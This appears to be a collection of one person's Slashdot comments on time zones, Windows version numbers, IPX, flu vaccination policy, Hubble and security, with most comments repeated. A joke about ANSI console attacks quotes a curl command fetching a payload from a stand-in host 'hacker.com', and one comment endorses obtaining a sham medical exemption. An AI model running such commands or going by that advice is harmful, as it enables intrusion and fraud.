BBC World Service presenters announce time in GMT. As a resident of Eastern North America, the time announced is always five hours ahead of my local time in Winter and four hours ahead in Summer. It's quite clear that the BBC World Service definition of GMT does not observe British Summer Time.
If you want to consider how the engineers inside Microsoft think of the code base, I'd suggest considering how they internally number the versions. I think it's very insightful. The windows API has a self-identification function that returns the internal version numbering.
Windows NT 4.0 self-identified as NT4.0
Windows 2000 self-identified as NT5.0
Windows XP self-identified as NT5.1
Windows Vista self-identified as NT6.0
Windows 7 self-identified as NT6.1
Windows 8 self-identified as NT6.2
A Representative is a representative and a Senator is a representative. Capitalization matters. Classically, as in before the 17th Amendment, a Senator was selected by the State and thus a Senator represents his/her State. However, for the past 100 years, we directly elect Senators which requires campaigning before the electorate and we can spend all day discussing the shortcomings of the modern campaign and the questions and confusions of loyalties that result from that.
I heard a guy claim that if Novell registered network numbers as ICANN does today and insisted that every site had a unique network number then IPX might have ended up being the dominate supporting protocol of the World Wide Web instead of IP. But since 99% of the sites used network #1, you couldn't route IPX among companies.
If the point of a harsh sentence is to "send a message" then make the sentence one of spreading the message. Make this guy go around and EDUCATE others on the hazards of ignorant recklessness.
It hasn't been declared illegal... yet. Governments do tend to regard the minting of legal tender as their exclusive purview. The bitcoin community would do well to regard bit coins as "scrip" or "tokens" and not "currency." Lawyers love to sink their teeth into the legal definitions of words as opposed the common usage of words.
And that only takes down one user process without taking down the whole system. That's an example of a bug in a common library. It's similar to all the sprintf exploits over the years.
Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"
While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.
That isn't true. The WHO makes their best guess which strains will be most prevalent for that year. Sometimes they do well. Sometimes they don't. They did pretty good this year, the strain hitting the Northeast US (H3N2) was predicted, it's just a really nasty one. http://www.cdc.gov/flu/about/season/vaccine-selection.htm
I work at a major pediatric institution and like all the others, we've got a vaccination policy. All staff, whether front-line clinical care or back office, must get vaccinated either by the institution or by a primary care physician unless an employee has a qualifying contradiction. Employees are fully reimbursed if they choose to get vaccinated elsewhere. This year, the vaccination provided by the institution was the subcutaneous, attenuated live strain vaccination. Qualifying contradictions to vaccination include things like allergies to Thimerosal (a common preservative). To qualify for an exception, the contradiction must be supported by documentation from a physician. For the protection of patients, unvaccinated employees must stay home at the slightest suggestion of illness.
If I were one of those nurses, I would have refused passively by finding a doctor from the underground network of physicians who will sign off on anything, get the paperwork, and then abide by the stay at home policies. Actively and publicly refusing on religious grounds is just being incendiary.
I really like git, but the key thing is to keep revision history. Deleted code is then never "deleted" it's just no longer cluttering up the screen. Of course it does mean you need to actually learn how to use a version control system beyond blind forward checkins.
I agree whole heartedly. The security curve is an asymptotic one. You'll never reach secure. The biggest security risk in any system (computer system or non-computer system) is the person sitting at the desk. This is why secretive government agencies like the US DoD don't let anyone use a DoD computer until they've background checked and taken the requisite training classes.
This is Slashdot. Naturally, there will be amazing advice about elite encryption and protecting your most secretive plans from government spooks. Government? Really? Frankly, I'm more worried about the data that Visa and MasterCard have about me than the government stealing pictures of my kids marching band contests.
The original poster asked valid questions about reasonable outside threats - Malware. I'm a fan of free (as in beer) scanners that detect known threats disguised in innocent looking payloads. That adorable icon that Aunt Betty says is adorable could be an installer for a malware program. Also, subscribe to CERT bulletins or a similar organization that publishes information about emerging threats and vulnerability.
That's a very good point - looking down. The luminance levels from earth are MUCH brighter than a distant object. I once heard (translation: totally unverified) that the Hubble team had to be careful not to aim it a the moon because it could overload and/or the sensor.
So what will the try to image with it?
The XE6 that my team uses allocates jobs reservations at the node level. Each job gets a whole node of 16 cores with 32G ram. If you have a memory intensive task, you only run use as many cores as will fit in the available memory. It's a trade-off: some tasks will waste RAM, some will waste CPUs?
I'd like augment the remark about WHAT a company does. If your company is in the financial services sector in the US, then there are Sarbanes/Oxley regulations that must be satisfied. If your company is in the healthcare industry, there are privacy laws. If you're in the aviation industry, there's the FAA. And so on...
Also don't feel like you have to push out updates every week because it's the cool and trendy thing to do. Do it because there is a rational justification for doing so.
On the and-user client side, there may not be much noticeable improvement. But on servers and/or load-balancing front ends this type of improvement could be quite significant.
My mouse left-handed with unswapped buttons. Although I'm not strongly left-handed. My sister, however, is militantly left-handed and she swaps the buttons. Drives me nuts.
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It's common in microbiology to insert Green Fluorescent Protein into lab strains microbes to make them more visible under microscopy.
Reminds me of my favourite VMS source code joke: Bliss is ignorance.
BBC World Service presenters announce time in GMT. As a resident of Eastern North America, the time announced is always five hours ahead of my local time in Winter and four hours ahead in Summer. It's quite clear that the BBC World Service definition of GMT does not observe British Summer Time.
Touché
If you want to consider how the engineers inside Microsoft think of the code base, I'd suggest considering how they internally number the versions. I think it's very insightful. The windows API has a self-identification function that returns the internal version numbering.
Windows NT 4.0 self-identified as NT4.0
Windows 2000 self-identified as NT5.0
Windows XP self-identified as NT5.1
Windows Vista self-identified as NT6.0
Windows 7 self-identified as NT6.1
Windows 8 self-identified as NT6.2
Except that for the one that I had you had to whistle something very close to a B-flat.
A Representative is a representative and a Senator is a representative. Capitalization matters. Classically, as in before the 17th Amendment, a Senator was selected by the State and thus a Senator represents his/her State. However, for the past 100 years, we directly elect Senators which requires campaigning before the electorate and we can spend all day discussing the shortcomings of the modern campaign and the questions and confusions of loyalties that result from that.
I heard a guy claim that if Novell registered network numbers as ICANN does today and insisted that every site had a unique network number then IPX might have ended up being the dominate supporting protocol of the World Wide Web instead of IP. But since 99% of the sites used network #1, you couldn't route IPX among companies.
If the point of a harsh sentence is to "send a message" then make the sentence one of spreading the message. Make this guy go around and EDUCATE others on the hazards of ignorant recklessness.
Repeat experiment with parrots and ruin a perfectly good Monty Python skit.
It hasn't been declared illegal ... yet. Governments do tend to regard the minting of legal tender as their exclusive purview. The bitcoin community would do well to regard bit coins as "scrip" or "tokens" and not "currency." Lawyers love to sink their teeth into the legal definitions of words as opposed the common usage of words.
And that only takes down one user process without taking down the whole system. That's an example of a bug in a common library. It's similar to all the sprintf exploits over the years.
Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"
While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.
That isn't true. The WHO makes their best guess which strains will be most prevalent for that year. Sometimes they do well. Sometimes they don't. They did pretty good this year, the strain hitting the Northeast US (H3N2) was predicted, it's just a really nasty one. http://www.cdc.gov/flu/about/season/vaccine-selection.htm
I work at a major pediatric institution and like all the others, we've got a vaccination policy. All staff, whether front-line clinical care or back office, must get vaccinated either by the institution or by a primary care physician unless an employee has a qualifying contradiction. Employees are fully reimbursed if they choose to get vaccinated elsewhere. This year, the vaccination provided by the institution was the subcutaneous, attenuated live strain vaccination. Qualifying contradictions to vaccination include things like allergies to Thimerosal (a common preservative). To qualify for an exception, the contradiction must be supported by documentation from a physician. For the protection of patients, unvaccinated employees must stay home at the slightest suggestion of illness.
If I were one of those nurses, I would have refused passively by finding a doctor from the underground network of physicians who will sign off on anything, get the paperwork, and then abide by the stay at home policies. Actively and publicly refusing on religious grounds is just being incendiary.
I really like git, but the key thing is to keep revision history. Deleted code is then never "deleted" it's just no longer cluttering up the screen. Of course it does mean you need to actually learn how to use a version control system beyond blind forward checkins.
I agree whole heartedly. The security curve is an asymptotic one. You'll never reach secure. The biggest security risk in any system (computer system or non-computer system) is the person sitting at the desk. This is why secretive government agencies like the US DoD don't let anyone use a DoD computer until they've background checked and taken the requisite training classes.
This is Slashdot. Naturally, there will be amazing advice about elite encryption and protecting your most secretive plans from government spooks. Government? Really? Frankly, I'm more worried about the data that Visa and MasterCard have about me than the government stealing pictures of my kids marching band contests.
The original poster asked valid questions about reasonable outside threats - Malware. I'm a fan of free (as in beer) scanners that detect known threats disguised in innocent looking payloads. That adorable icon that Aunt Betty says is adorable could be an installer for a malware program. Also, subscribe to CERT bulletins or a similar organization that publishes information about emerging threats and vulnerability.
This is Microsoft's equivalent of Steve Jobs saying “You're holding it wrong” when the iPhone 4 case was the antenna.
Excellent to know about Hubble. It's a shame too, I hear the bridges in New York are cheaper now because of the flood ...
That's a very good point - looking down. The luminance levels from earth are MUCH brighter than a distant object. I once heard (translation: totally unverified) that the Hubble team had to be careful not to aim it a the moon because it could overload and/or the sensor. So what will the try to image with it?
The XE6 that my team uses allocates jobs reservations at the node level. Each job gets a whole node of 16 cores with 32G ram. If you have a memory intensive task, you only run use as many cores as will fit in the available memory. It's a trade-off: some tasks will waste RAM, some will waste CPUs?
If you measure operations per second, the x86 chip will win. If you measure operations per second per watt, the ARM chip will win.
I whole heartedly agree with this post.
I'd like augment the remark about WHAT a company does. If your company is in the financial services sector in the US, then there are Sarbanes/Oxley regulations that must be satisfied. If your company is in the healthcare industry, there are privacy laws. If you're in the aviation industry, there's the FAA. And so on ...
Also don't feel like you have to push out updates every week because it's the cool and trendy thing to do. Do it because there is a rational justification for doing so.
On the and-user client side, there may not be much noticeable improvement. But on servers and/or load-balancing front ends this type of improvement could be quite significant.
My mouse left-handed with unswapped buttons. Although I'm not strongly left-handed. My sister, however, is militantly left-handed and she swaps the buttons. Drives me nuts.